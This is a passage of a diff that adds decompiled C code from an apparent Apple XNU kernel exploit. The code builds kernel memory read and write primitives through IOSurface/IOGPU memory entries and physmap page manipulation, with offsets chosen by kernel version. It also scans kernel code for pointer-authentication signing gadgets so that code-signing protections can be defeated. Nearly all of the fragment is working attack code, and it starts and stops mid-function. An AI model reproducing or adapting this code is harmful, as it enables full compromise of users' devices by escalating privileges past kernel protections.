+        {
+          v258 = 163878;
+        }
+        v305 = v258;
+        goto LABEL_537;
+      }
+      v313 = 0;
+      v246 = outputStructCnt;
+      if ( kread_physmap_decorated(
+             krwCtx,
+             outputStructCnt + *(int *)(v5 + 360) * (__int64)v232,
+             (unsigned __int64 *)&name.msgh_bits)
+        && kread_physmap_decorated(krwCtx, *(uint64_t *)&name.msgh_bits + 16LL, (unsigned __int64 *)a1)
+        && kread_physmap_decorated(krwCtx, *(uint64_t *)a1 + 40LL, &v313) )
+      {
+        v250 = 128;
+        if ( *(int *)(v5 + 320) > 8019 )
+          v250 = -131072;
+        v251 = v250 + v313;
+        if ( *(int *)(v5 + 320) <= 8019 )
+          v252 = v313 + 1024;
+        else
+          v252 = v313;
+        if ( v251 < v252 )
+        {
+          v253 = 0;
+          v254 = 0;
+          do
+          {
+            v255 = kread_physmap_decorated(krwCtx, v251, &v312);
+            if ( v253 )
+            {
+              if ( !v255 )
+                goto LABEL_620;
+              v256 = v312;
+              if ( (v312 & 0x80000000000000LL) != 0 )
+                v256 = v312 | 0xFFFFFF8000000000LL;
+              if ( v256 < *(uint64_t *)(v5 + 6632)
+                || ((v256 & 3) == 0 ? (v257 = v256 >= *(uint64_t *)(v5 + 6640)) : (v257 = 1), v257) )
+              {
+                v254 = 0;
+                v253 = 0;
+              }
+              else if ( ++v254 == 7 )
+              {
+                *(uint64_t *)(v5 + 544) = v253;
+                goto LABEL_578;
+              }
+            }
+            else
+            {
+              if ( !v255 )
+                goto LABEL_620;
+              if ( v312 == 7 )
+                v253 = v251;
+              else
+                v253 = 0;
+            }
+            v251 += *(int *)(v5 + 360);
+          }
+          while ( v251 < v252 );
+        }
+        v305 = 0;
+      }
+LABEL_620:
+      if ( v305 )
+      {
+LABEL_537:
+        if ( outputStruct[0].msgh_bits != -1 )
+          close(outputStruct[0].msgh_bits);
+        if ( outputStruct[0].msgh_size != -1 )
+          close(outputStruct[0].msgh_size);
+        *(uint64_t *)(v5 + 6448) = -1;
+        if ( v231 != -1 )
+          close(v231);
+        *(uint32_t *)(v5 + 6464) = -1;
+      }
+      else
+      {
+        v305 = 0;
+      }
+      if ( v232 != -1 )
+        close(v232);
+    }
+    else
+    {
+      v305 = 163884;
+    }
+LABEL_547:
+    v10 = v305;
+    if ( !v305 )
+    {
+      *(uint32_t *)(v5 + 232) = 0;
+      *(__int128 *)(v5 + 240) = 0u;
+      *(__int128 *)(v5 + 256) = 0u;
+      *(uint64_t *)(v5 + 272) = 0;
+    }
+  }
+#undef outputStruct
+#undef v323
+#undef v324
+#undef v325
+#undef v326
+#undef v327
+#undef v328
+#undef v329
+#undef v330
+#undef v331
+#undef v332
+#undef v333
+#undef v334
+#undef v335
+  return v10;
+}
+// D7C4: conditional instruction was optimized away because w22.4==0
+// CEF4: variable 'v3' is possibly undefined
+// EAD8: variable 'kobject' is possibly undefined
+// ED8C: variable 'v209' is possibly undefined
+// EDB0: variable 'v211' is possibly undefined
+// 68: using guessed type struct section_64 stru_68;
+// 42EC0: using guessed type __int128 xmmword_42EC0;
+// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t);
+
+//----- (000000000000F860) ----------------------------------------------------
+__int64 __fastcall ioconnect_kread_physmap(struct_krwCtx *krwCtx, __int64 a2, __int64 a3, unsigned int a4)
+{
+  __int64 result; // x0
+  __int64 v6; // x23
+  uint64_t *v7; // x24
+  __int64 v8; // x19
+  unsigned __int64 v9; // x26
+  unsigned __int64 v10; // x27
+  vm_size_t v11; // x8
+  vm_address_t v12; // x20
+  __int64 v13; // x28
+  __int64 v14; // x9
+  unsigned __int64 v15; // x22
+  unsigned __int64 v16; // x21
+  unsigned __int64 v17; // x25
+  size_t v19; // x22
+  kern_return_t v20; // w0
+  vm_address_t v21; // [xsp+0h] [xbp-F0h]
+  //__int64 v22; // [xsp+8h] [xbp-E8h]
+  __int64 v23; // [xsp+10h] [xbp-E0h]
+  unsigned __int64 v24; // [xsp+18h] [xbp-D8h]
+  __int64 v26; // [xsp+28h] [xbp-C8h]
+  __int64 v27; // [xsp+30h] [xbp-C0h]
+  __int64 v28; // [xsp+38h] [xbp-B8h]
+  mach_port_t object_name; // [xsp+40h] [xbp-B0h] BYREF
+  mach_msg_type_number_t infoCnt; // [xsp+44h] [xbp-ACh] BYREF
+  int info[9]; // [xsp+48h] [xbp-A8h] BYREF
+  __int16 v32; // [xsp+68h] [xbp-88h]
+  vm_size_t size; // [xsp+70h] [xbp-80h] BYREF
+  vm_address_t address; // [xsp+78h] [xbp-78h] BYREF
+  uint64_t __src[2]; // [xsp+80h] [xbp-70h] BYREF
+
+  result = 708642;
+  v6 = krwCtx->iogpuCtx;
+  if ( !v6 )
+    return 708609;
+  v7 = *(uint64_t **)(v6 + 13384);
+  v8 = *(uint64_t *)(v6 + 13400);
+  if ( *(uint64_t *)(v8 + 24) == v7[2] && *(uint64_t *)(v8 + 8) == *(uint64_t *)(v6 + 13392) && *v7 == *(uint64_t *)(v6 + 13408) )
+  {
+    if ( !a4 )
+      return 0;
+    v28 = *(uint64_t *)(v6 + 13392);
+    v9 = 0;
+    v10 = a4;
+    v11 = vm_page_size;
+    v12 = v7[3] - vm_page_size;
+    v23 = a2;
+    v24 = a4;
+    v21 = v12;
+    //v22 = a1;
+    while ( 1 )
+    {
+      v13 = v9 + a2;
+      v14 = krwCtx->pageMask & (v9 + a2);
+      v15 = v14 + 64;
+      v16 = krwCtx->pageSizeOrSomething;
+      v17 = v14 + v10;
+      address = v12;
+      infoCnt = 9;
+      *(uint64_t *)(v8 + 8) = v7[1];
+      madvise(*(void **)(v6 + 11296), 2 * v11, 2);
+      v26 = v7[1];
+      v27 = v7[3];
+      if ( v15 <= v16 || v17 > v16 )
+      {
+        v7[1] = v13 - 16;
+        v7[3] = v12;
+        v20 = vm_region_64(mach_task_self_, &address, &size, 9, info, &infoCnt, &object_name);
+        v7[1] = v26;
+        v7[3] = v27;
+        *(uint64_t *)(v8 + 8) = v28;
+        ++*(uint64_t *)(v6 + 13416);
+        if ( v20 )
+          return v20 | 0x80000000;
+        if ( v10 >= 0x10 )
+          v19 = 16;
+        else
+          v19 = v10;
+        __src[0] = address;
+        __src[1] = size + address;
+      }
+      else
+      {
+        v7[1] = v13 - 78;
+        v7[3] = v12;
+        v20 = vm_region_64(mach_task_self_, &address, &size, 9, info, &infoCnt, &object_name);
+        v7[1] = v26;
+        v7[3] = v27;
+        *(uint64_t *)(v8 + 8) = v28;
+        ++*(uint64_t *)(v6 + 13416);
+        if ( v20 )
+          return v20 | 0x80000000;
+        if ( v10 >= 2 )
+          v19 = 2;
+        else
+          v19 = v10;
+        LOWORD(__src[0]) = *(uint16_t *)&info[8];
+      }
+      memcpy((void *)(a3 + v9), __src, v19);
+      v9 += v19;
+      if ( v9 >= v24 )
+        return 0;
+      v10 -= v19;
+      v28 = *(uint64_t *)(v8 + 8);
+      v11 = vm_page_size;
+      //a1 = v22;
+      a2 = v23;
+      v12 = v21;
+    }
+  }
+  return result;
+}
+
+//----- (000000000000FAE4) ----------------------------------------------------
+__int64 __fastcall physmap_read_rebuild_page(uint64_t *a1, int8x8_t *a2)
+{
+  vm_size_t v4; // x21
+  char v5; // w24
+  unsigned __int64 v6; // x8
+  unsigned __int64 v7; // x10
+  unsigned __int64 v8; // x12
+  __int64 v9; // x8
+  __int64 v10; // x25
+  __int64 v11; // x22
+  vm_address_t v12; // x8
+  __int64 v13; // x23
+  vm_size_t v14; // x23
+  kern_return_t v15; // w0
+  __int64 v16; // x27
+  __int64 v17; // x26
+  __int64 v18; // x10
+  __int64 v19; // x8
+  __int64 v20; // x12
+  int8x8_t v21; // x11
+  __int64 v22; // x13
+  __int64 v23; // x14
+  kern_return_t memory_entry; // w0
+  uint8x8_t v25; // d0
+  bool v26; // zf
+  mem_entry_name_port_t object_handle; // [xsp+4h] [xbp-6Ch] BYREF
+  vm_size_t size; // [xsp+8h] [xbp-68h] BYREF
+  vm_address_t address; // [xsp+10h] [xbp-60h] BYREF
+  __int64 __buf; // [xsp+18h] [xbp-58h] BYREF
+
+  v4 = vm_page_size;
+  v5 = vm_page_shift;
+  __buf = 0;
+  arc4random_buf(&__buf, 8u);
+  v6 = a1[1];
+  v7 = v6 >> 34;
+  v8 = v6 >> 33;
+  v26 = HIDWORD(v6) == 0;
+  v9 = 0x40000;
+  if ( !v26 )
+    v9 = 0x80000;
+  if ( v8 )
+    v9 = 0x100000;
+  if ( v7 )
+    v10 = 0x200000;
+  else
+    v10 = v9;
+  v11 = 708609;
+  v12 = a1[1681];
+  address = v12;
+  if ( v12 )
+  {
+    v13 = a1[1682];
+    if ( v13 )
+    {
+      madvise((void *)(v12 - v4 + v13), v4, 3);
+      v14 = v13 - v4;
+      v15 = vm_allocate(mach_task_self_, &address, v14, -905953280);
+      if ( v15 )
+        return v15 | 0x80000000;
+      v16 = 0;
+      v11 = 708625;
+LABEL_13:
+      v17 = v16 & 0x7F;
+      if ( v16 )
+      {
+        if ( (v16 & 0x7F) == 0 )
+        {
+          v15 = vm_allocate(mach_task_self_, &address, v14, -905953280);
+          if ( v15 )
+            return v15 | 0x80000000;
+        }
+      }
+      v18 = __buf + v16;
+      *(uint64_t *)(address + v4 * v17) = __buf + v16;
+      __dsb(0xBu);
+      v19 = a2[4].u32[0];
+      if ( !(uint32_t)v19 )
+        goto LABEL_28;
+      v20 = 0;
+      v21 = a2[3];
+      while ( 1 )
+      {
+        v22 = 1LL << v20;
+        if ( (*(uint64_t *)&v21 & (1LL << v20)) == 0 )
+        {
+          v23 = *(uint64_t *)(*(uint64_t *)a2 + (unsigned int)((uint32_t)v20 << v5));
+          if ( v23 == v18 )
+          {
+            size = v4;
+            object_handle = 0;
+            a2[3] = (int8x8_t){ .u64 = { *(uint64_t *)&v21 | v22 } };
+            memory_entry = mach_make_memory_entry(
+                             mach_task_self_,
+                             &size,
+                             address + v4 * v17,
+                             2097155,
+                             &object_handle,
+                             0);
+            if ( memory_entry )
+            {
+              v11 = memory_entry | 0x80000000;
+            }
+            else
+            {
+              v11 = 0;
+              a2[5].i32[0] = object_handle;
+            }
+            LODWORD(v19) = a2[4].i32[0];
+LABEL_28:
+            v25 = (uint8x8_t)vcnt_s8(a2[3]);
+            v25.i16[0] = vaddlv_u8(v25);
+            ++v16;
+            v26 = (uint32_t)v19 == v25.i32[0] || (uint32_t)v11 == 0;
+            if ( v26 || v16 == v10 )
+              return v11;
+            goto LABEL_13;
+          }
+          if ( v23 != a1[1699] )
+          {
+            *(uint64_t *)&v21 |= v22;
+            a2[3] = v21;
+          }
+        }
+        if ( v19 == ++v20 )
+          goto LABEL_28;
+      }
+    }
+  }
+  return v11;
+}
+
+//----- (000000000000FD18) ----------------------------------------------------
+__int64 __fastcall check_physmap_page_count(uint32_t *a1, __int64 a2)
+{
+  unsigned int v2; // w9
+  __int64 v3; // x8
+  uint8x8_t v4; // d0
+  vm_size_t v6; // x20
+  char v7; // w22
+  __int64 v8; // x23
+  vm_address_t v9; // x21
+  kern_return_t v10; // w0
+
+  v2 = *(uint32_t *)(a2 + 32);
+  v3 = *(uint64_t *)(a2 + 24);
+  v4 = (uint8x8_t)vcnt_s8((int8x8_t){ .u64 = { v3 } });
+  v4.i16[0] = vaddlv_u8(v4);
+  if ( v2 == v4.i32[0] )
+    return 0;
+  v6 = vm_page_size;
+  v7 = vm_page_shift;
+  if ( *a1 == 3 && (unsigned int)(*(uint32_t *)(a2 + 36) + 1) < 2 )
+    return 0;
+  if ( !v2 )
+    return 0;
+  v8 = 0;
+  while ( (v3 & (1LL << v8)) != 0 )
+  {
+LABEL_10:
+    if ( ++v8 >= (unsigned __int64)v2 )
+      return 0;
+  }
+  v9 = *(uint64_t *)a2 + (unsigned int)((uint32_t)v8 << v7);
+  v10 = vm_protect(mach_task_self_, v9, v6, 0, 0);
+  if ( !v10 )
+  {
+    v10 = vm_protect(mach_task_self_, v9, v6, 0, 3);
+    if ( !v10 )
+    {
+      v3 = *(uint64_t *)(a2 + 24) | (1LL << v8);
+      *(uint64_t *)(a2 + 24) = v3;
+      v2 = *(uint32_t *)(a2 + 32);
+      goto LABEL_10;
+    }
+  }
+  return v10 | 0x80000000;
+}
+
+//----- (000000000000FE30) ----------------------------------------------------
+__int64 __fastcall map_sptm_state_page(__int64 a1)
+{
+  mem_entry_name_port_t v1; // w5
+  __int64 v2; // x20
+  vm_size_t v3; // x19
+  kern_return_t v4; // w0
+  int v5; // w8
+  vm_address_t address; // [xsp+18h] [xbp-28h] BYREF
+
+  v1 = *(uint32_t *)(a1 + 13552);
+  if ( v1 + 1 < 2 )
+    return 708609;
+  address = 0;
+  v3 = vm_page_size;
+  v4 = vm_map(mach_task_self_, &address, vm_page_size, 0, 1, v1, 0, 0, 3, 3, 2u);
+  if ( v4 )
+    return v4 | 0x80000000;
+  if ( madvise((void *)address, v3, 3) )
+  {
+    v5 = errno;
+    if ( v5 < 0 )
+      v5 = -v5;
+    v2 = v5 | 0x40000000u;
+  }
+  else
+  {
+    v2 = 0;
+  }
+  vm_deallocate(mach_task_self_, address, v3);
+  return v2;
+}
+
+//----- (000000000000FF10) ----------------------------------------------------
+__int64 __fastcall get_physmap_region_ptrs(struct_krwCtx *krwCtx, __int64 a2, __int64 a3, uint64_t *a4)
+{
+  unsigned __int64 v4; // x11
+  int *v5; // x8
+  int v6; // w10
+  int v7; // w14
+  int v8; // w11
+  int v9; // w12
+  int v10; // w13
+  __int64 v11; // x9
+  __int64 v12; // x8
+  bool v13; // cc
+  __int64 result; // x0
+
+  v4 = krwCtx->xnuVersionPacked;
+  if ( v4 >= XNU_VERSION_PACKED(10002, 2, 13, 0, 0) )
+  {
+    v5 = (int *)(a2 + 124);
+    v6 = *(uint32_t *)(a2 + 124);
+    v7 = 2048;
+    v8 = 0x1000000;
+    v9 = 128;
+    v10 = 0x4000;
+    v11 = 88LL;
+    goto LABEL_23;
+  }
+  if ( v4 <= XNU_VERSION_PACKED(8796, 142, 1, 700, 13) )
+  {
+    v5 = (int *)(a2 + 116);
+    v6 = *(uint32_t *)(a2 + 116);
+    v11 = 80LL;
+LABEL_11:
+    v13 = v4 > XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023);
+    if ( v4 <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
+      v10 = 0x80000;
+    else
+      v10 = 0x4000;
+    if ( v4 <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
+      v9 = 4096;
+    else
+      v9 = 128;
+    if ( v4 <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
+      v8 = 0x20000000;
+    else
+      v8 = 0x1000000;
+    if ( v13 )
+      v7 = 2048;
+    else
+      v7 = 0x10000;
+    goto LABEL_23;
+  }
+  v12 = 116LL;
+  if ( krwCtx->xnuMajorVersion < 10002 )
+    v12 = 124LL;
+  v11 = 80LL;
+  if ( krwCtx->xnuMajorVersion < 10002 )
+    v11 = 88LL;
+  v5 = (int *)(a2 + v12);
+  v6 = *v5;
+  if ( v4 <= XNU_VERSION_PACKED(10002, 0, 198, 1023, 1023) )
+    goto LABEL_11;
+  v7 = 2048;
+  v8 = 0x1000000;
+  v9 = 128;
+  v10 = 0x4000;
+LABEL_23:
+  if ( ((v7 | v10) & ~v6) != 0 )
+    return 163857LL;
+  *v5 = v9 | v6 | v8;
+  if ( a4 )
+    *a4 = *(uint64_t *)(a2 + v11);
+  result = 0LL;
+  *(uint64_t *)(a2 + v11) = a3;
+  return result;
+}
+
+//----- (000000000001003C) ----------------------------------------------------
+__int64 __fastcall iokit_kwrite_via_port(
+        struct_krwCtx *krwCtx,
+        __int64 a2,
+        __int64 a3,
+        int a4,
+        __int64 a5,
+        __int64 a6,
+        unsigned __int64 a7)
+{
+  unsigned __int64 v14; // x0
+  vm_size_t v15; // x8
+  unsigned __int64 v16; // x8
+  unsigned __int64 xnuVersionPacked; // x8
+  __int64 v18; // x9
+  __int64 result; // x0
+  int v20; // w10
+  int v21; // w12
+  int v22; // w8
+  int v23; // [xsp+Ch] [xbp-44h] BYREF
+
+  v14 = kernel_va_base_resolver(krwCtx, 0, &v23);
+  if ( !v14 )
+    return 708609;
+  *(__int128 *)(a5 + 16) = 0u;
+  *(__int128 *)(a5 + 32) = 0u;
+  *(uint64_t *)(a5 + 48) = 0;
+  *(__int128 *)a5 = 0u;
+  v15 = a7 / vm_page_size;
+  *(uint64_t *)(a5 + 24) = 0;
+  *(uint64_t *)(a5 + 48) = v15;
+  v16 = (a3 - v14) >> v23;
+  *(uint32_t *)(a5 + 44) = 320;
+  *(uint32_t *)(a5 + 32) = v16;
+  *(uint32_t *)(a5 + 36) = 0x2000000;
+  *(uint64_t *)(a2 + 32) = a6;
+  if ( !a4 )
+    return 0;
+  xnuVersionPacked = krwCtx->xnuVersionPacked;
+  if ( xnuVersionPacked <= XNU_VERSION_PACKED(10002, 2, 12, 1023, 1023) )
+  {
+    if ( xnuVersionPacked < XNU_VERSION_PACKED(8796, 142, 1, 700, 14) )
+    {
+      v18 = 116;
+    }
+    else
+    {
+      v18 = 116;
+      if ( krwCtx->xnuMajorVersion < 10002 )
+        v18 = 124;
+    }
+  }
+  else
+  {
+    v18 = 124;
+  }
+  v20 = *(uint32_t *)(a2 + v18);
+  if ( xnuVersionPacked <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
+    v21 = 589824;
+  else
+    v21 = 18432;
+  if ( (v21 & ~v20) != 0 )
+    return 163857;
+  result = 0;
+  if ( xnuVersionPacked <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
+    v22 = 4096;
+  else
+    v22 = 128;
+  *(uint32_t *)(a2 + v18) = v20 | v22;
+  return result;
+}
+
+//----- (00000000000101AC) ----------------------------------------------------
+void __fastcall cfdict_set_int32(CFMutableDictionaryRef a1, const void *a2)
+{
+  CFNumberRef v4; // x21
+  int valuePtr; // [xsp+Ch] [xbp-24h] BYREF
+
+  valuePtr = 32;
+  v4 = CFNumberCreate(0, kCFNumberIntType, &valuePtr);
+  CFDictionarySetValue(a1, a2, v4);
+  CFRelease(v4);
+}
+
+//----- (0000000000010214) ----------------------------------------------------
+__int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *krwCtx, __int64 a2, unsigned __int64 a3)
+{
+  __int64 v5; // x19
+  __int64 v6; // x22
+  int has_flag; // w0
+  __int64 v8; // x8
+  unsigned __int64 v9; // x0
+  unsigned __int64 v10; // x22
+  vm_size_t v11; // x21
+  mem_entry_name_port_t v12; // w5
+  kern_return_t v14; // w0
+  int v15; // w8
+  vm_address_t v16; // x9
+  vm_address_t v17; // x9
+  unsigned __int64 v18; // [xsp+10h] [xbp-70h] BYREF
+  __int64 v19; // [xsp+18h] [xbp-68h] BYREF
+  uint64_t v20[7]; // [xsp+20h] [xbp-60h] BYREF
+  vm_address_t address; // [xsp+58h] [xbp-28h] BYREF
+
+  v5 = 163855;
+  if ( (unsigned int)krw_read_thunk(
+                       krwCtx,
+                       8LL * (unsigned int)((a3 - *(uint64_t *)(a2 + 13568)) >> vm_page_shift) + *(uint64_t *)(a2 + 13576),
+                       8,
+                       &v19) )
+  {
+    if ( (~(uint8_t)v19 & 3) != 0 )
+      return 708628;
+    v6 = v19 & 0xFFFFFFFFFFFCLL;
+    has_flag = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A8);
+    v8 = 32;
+    if ( !has_flag )
+      v8 = 8;
+    if ( kread_physmap_decorated(krwCtx, v6 + v8 - 0xFFFFFFFFFFE8LL, &v18) )
+    {
+      v9 = map_physpage_for_kobj(krwCtx, v18 + ((a3 >> 10) & 0xC));
+      if ( !v9 )
+        return 163878;
+      v10 = v9;
+      address = 0;
+      v11 = vm_page_size;
+      v12 = *(uint32_t *)&krwCtx->ioSurfaceMemEntryMaybe;
+      if ( v12 + 1 > 1 )
+      {
+        v14 = vm_map(mach_task_self_, &address, vm_page_size, 0, 1, v12, v9 & ~krwCtx->pageMask, 0, 3, 3, 2u);
+        if ( v14 )
+          return v14 | 0x80000000;
+      }
+      else if ( (unsigned int)physmap_map_cached(krwCtx, v9, (__int64)v20) )
+      {
+        return 0xFFFFFFFFLL;
+      }
+      v15 = *(uint32_t *)&krwCtx->ioSurfaceMemEntryMaybe;
+      if ( (unsigned int)(v15 + 1) >= 2 )
+        v16 = address;
+      else
+        v16 = v20[0];
+      v17 = (krwCtx->pageMask & v10) + v16;
+      if ( *(uint16_t *)v17 )
+      {
+        v5 = 0;
+        atomic_fetch_add((atomic_ushort *volatile)v17, 0xFFFFu);
+        *(uint16_t *)(v17 + 2) = 0x4000;
+        v15 = *(uint32_t *)&krwCtx->ioSurfaceMemEntryMaybe;
+      }
+      else
+      {
+        v5 = 163857;
+      }
+      if ( (unsigned int)(v15 + 1) >= 2 )
+        vm_deallocate(mach_task_self_, address, v11);
+      else
+        physmap_unmap_cached(krwCtx, (__int64)v20);
+    }
+  }
+  return v5;
+}
+
+//----- (0000000000010414) ----------------------------------------------------
+__int64 __fastcall get_ipc_kobject_offset(struct_krwCtx *krwCtx, __int64 a2, unsigned __int64 *a3)
+{
+  int xnuMajorVersion; // w8
+  __int64 result; // x0
+  __int64 v7; // x8
+  int v9; // w8
+  unsigned __int64 v10; // [xsp+8h] [xbp-28h] BYREF
+
+  xnuMajorVersion = krwCtx->xnuMajorVersion;
+  result = 163884;
+  if ( xnuMajorVersion <= 8791 )
+  {
+    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 )
+    {
+      if ( xnuMajorVersion != 7195 )
+        return result;
+      v7 = 248;
+      goto LABEL_12;
+    }
+LABEL_10:
+    v7 = 256;
+    if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
+      v7 = 248;
+LABEL_12:
+    if ( !kread_physmap_decorated(krwCtx, v7 + a2, &v10) )
+      return 163855;
+    if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) || (v9 = kread_physmap_decorated(krwCtx, v10, &v10), result = 163855, v9) )
+    {
+      if ( validate_kaddr_range(krwCtx, v10) )
+      {
+        result = 0;
+        *a3 = v10;
+      }
+      else
+      {
+        return 163878;
+      }
+    }
+    return result;
+  }
+  if ( xnuMajorVersion == 8796 || xnuMajorVersion == 8792 )
+    goto LABEL_10;
+  return result;
+}
+
+//----- (0000000000010534) ----------------------------------------------------
+__int64 __fastcall read_ipc_port_table_entry(struct_krwCtx *krwCtx, __int64 a2, unsigned int a3, unsigned __int64 *a4)
+{
+  __int64 v7; // x19
+  __int64 v9; // [xsp+8h] [xbp-38h] BYREF
+  __int64 v10; // [xsp+10h] [xbp-30h] BYREF
+  unsigned __int64 v11; // [xsp+18h] [xbp-28h] BYREF
+
+  *a4 = 0;
+  v9 = 0;
+  v7 = get_ipc_kobject_offset(krwCtx, a2, &v11);
+  if ( !(uint32_t)v7 )
+  {
+    v7 = 163855;
+    if ( kread_physmap_decorated(krwCtx, v11 + 8LL * a3, (unsigned __int64 *)&v10) )
+    {
+      if ( validate_kaddr_range(krwCtx, v10) )
+      {
+        if ( kread_physmap_decorated(krwCtx, v10 + 16, (unsigned __int64 *)&v9) )
+        {
+          validate_kaddr_range(krwCtx, v9);
+          if ( kread_physmap_decorated(krwCtx, v9 + 56, a4) )
+            return 0;
+          else
+            return 163855;
+        }
+      }
+      else
+      {
+        return 163878;
+      }
+    }
+  }
+  return v7;
+}
+
+//----- (0000000000010604) ----------------------------------------------------
+__int64 __fastcall kwrite_u64_via_kobject(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
+{
+  if ( (unsigned int)kwrite_with_retry(KRWCTX_FROM_RAW_FIELD(a1, 32), a2, a3, a4) )
+    return 0;
+  else
+    return 5;
+}
+
+//----- (000000000001062C) ----------------------------------------------------
+__int64 __fastcall kread_via_kobject(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
+{
+  if ( (unsigned int)krw_read_thunk(KRWCTX_FROM_RAW_FIELD(a1, 32), a2, a4, (void *)a3) )
+    return 0;
+  else
+    return 5;
+}
+
+//----- (0000000000010660) ----------------------------------------------------
+__int64 __fastcall kread_u64_value(__int64 a1, __int64 a2)
+{
+  __int64 v3; // [xsp+8h] [xbp-8h] BYREF
+
+  if ( (unsigned int)krw_read_thunk(KRWCTX_FROM_RAW_FIELD(a1, 32), a2, 8, &v3) )
+    return v3;
+  else
+    return 0;
+}
+
+//----- (0000000000010698) ----------------------------------------------------
+__int64 __fastcall kwrite_u64_to_addr(__int64 a1, __int64 a2, __int64 a3)
+{
+  __int64 v4; // [xsp+8h] [xbp-8h] BYREF
+
+  v4 = a3;
+  if ( (unsigned int)kwrite_with_retry(KRWCTX_FROM_RAW_FIELD(a1, 32), a2, (__int64)&v4, 8) )
+    return 0;
+  else
+    return 5;
+}
+
+//----- (00000000000106D4) ----------------------------------------------------
+__int64 __fastcall kread_u32_value(__int64 a1, unsigned __int64 a2)
+{
+  unsigned int v3; // [xsp+Ch] [xbp-4h] BYREF
+
+  if ( kread_u32(*(uint64_t *)(a1 + 0x20), a2, &v3) )
+    return v3;
+  else
+    return 0;
+}
+
+//----- (0000000000010708) ----------------------------------------------------
+__int64 __fastcall flush_cpu_cache(__int64 a1, mach_vm_address_t a2, int a3)
+{
+  if ( noppl_kwrite32(*(uint64_t *)(a1 + 32), a2, a3) )
+    return 0;
+  else
+    return 5;
+}
+
+struct kobj_snapshot_buf
+{
+  uint64_t *sectionHeader;
+  uint8_t *bytes;
+  uint64_t size;
+};
+
+#define LOOKUP_KOBJ_PATTERN(snapshot, words, masks, count) \
+  kobj_snapshot_lookup_wrapper((snapshot), (__int64)(words), (__int64)(masks), (count))
+
+//----- (0000000000010730) ----------------------------------------------------
+__int64 __fastcall setup_iokit_notify_dispatch(uint64_t *a1, uint64_t **a2)
+{
+  a1[1] = 176;
+
+  // qword_48000: notification selector, stored at the match + 4.
+  const uint32_t notificationSelectorWords[] = {
+    0xD280000F, // mov x15, #0
+    0x00000000,
+    0xD280000F, // mov x15, #imm, register fixed by mask
+    0x00000000,
+    0xD280000F, // mov x15, #imm, register fixed by mask
+  };
+  const uint32_t notificationSelectorMasks[] = {
+    0xFFFFFFFF,
+    0x00000000,
+    0xFFFFFC1F,
+    0x00000000,
+    0xFFFFFC1F,
+  };
+  a1[0] = LOOKUP_KOBJ_PATTERN(a2, notificationSelectorWords, notificationSelectorMasks, 5) + 4;
+
+  // qword_48010/qword_48018/qword_48040: PACGA gadget cluster:
+  // pacga x1 with x0/x2/x3/x4/x5, store it at [x0,#0x128], then return.
+  const uint32_t pacgaClusterWords[] = {
+    0x9AC03021, // pacga x1, x1, x0
+    0x9262F842, // and   x2, x2, #0xffffffffdfffffff
+    0x9AC13041, // pacga x1, x2, x1
+    0x9AC13061, // pacga x1, x3, x1
+    0x9AC13081, // pacga x1, x4, x1
+    0x9AC130A1, // pacga x1, x5, x1
+    0xF9009401, // str   x1, [x0, #0x128]
+    0xD65F03C0, // ret
+  };
+  const uint32_t pacgaClusterMasks[] = {
+    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
+    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
+  };
+  unsigned __int64 pacgaCluster = LOOKUP_KOBJ_PATTERN(a2, pacgaClusterWords, pacgaClusterMasks, 8);
+  a1[2] = pacgaCluster;
+  a1[3] = pacgaCluster + 20;
+  a1[8] = pacgaCluster + 28;
+
+  const uint32_t allExact3[] = { 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF };
+
+  // qword_48020: IA-key signing/store gadget.
+  const uint32_t paciaStoreWords[] = {
+    0xDAC10230, // pacia x16, x17
+    0xF9000010, // str   x16, [x0]
+    0xD65F03C0, // ret
+  };
+  a1[4] = LOOKUP_KOBJ_PATTERN(a2, paciaStoreWords, allExact3, 3);
+
+  // qword_48028: DA-key signing/store twin of qword_48020.
+  const uint32_t pacdaStoreWords[] = {
+    0xDAC10A30, // pacda x16, x17
+    0xF9000010, // str   x16, [x0]
+    0xD65F03C0, // ret
+  };
+  a1[5] = LOOKUP_KOBJ_PATTERN(a2, pacdaStoreWords, allExact3, 3);
+
+  // qword_48030: interrupt/thread-state helper.
+  const uint32_t threadStateHelperWords[] = {
+    0xD5034FDF, // msr DAIFSet, #0xf
+    0xD538D083, // mrs x3, TPIDR_EL1
+    0x910002BF, // mov sp, x21
+  };
+  a1[6] = LOOKUP_KOBJ_PATTERN(a2, threadStateHelperWords, allExact3, 3);
+
+  // qword_48038: kernel message/page-info helper.
+  const uint32_t pageInfoHelperWords[] = {
+    0xF9000E60, // str x0, [x19, #0x18]
+    0xF94046E0, // ldr x0, [x23, #0x88]
+    0x00000000,
+    0xD2808471, // mov x17, #0x423
+    0xD73F0911, // blraa x8, x17
+  };
+  const uint32_t pageInfoHelperMasks[] = {
+    0xFFFFFFFF,
+    0xFFFFFFFF,
+    0x00000000,
+    0xFFFFFFFF,
+    0xFFFFFFFF,
+  };
+  a1[7] = LOOKUP_KOBJ_PATTERN(a2, pageInfoHelperWords, pageInfoHelperMasks, 5);
+  return 0;
+}
+// 42F30: using guessed type __int128 xmmword_42F30;
+// 42F44: using guessed type __int128 xmmword_42F44;
+// 42F58: using guessed type __int128 xmmword_42F58;
+// 42F78: using guessed type __int128 xmmword_42F78;
+// 42F8C: using guessed type __int128 xmmword_42F8C;
+
+//----- (000000000001091C) ----------------------------------------------------
+unsigned __int64 __fastcall send_port_alloc_msg(__int64 a1, int a2)
+{
+  size_t v4; // x20
+  mach_msg_header_t *v5; // x0
+  mach_port_name_t v6; // w8
+  __int64 v7; // x20
+  __int64 v8; // x0
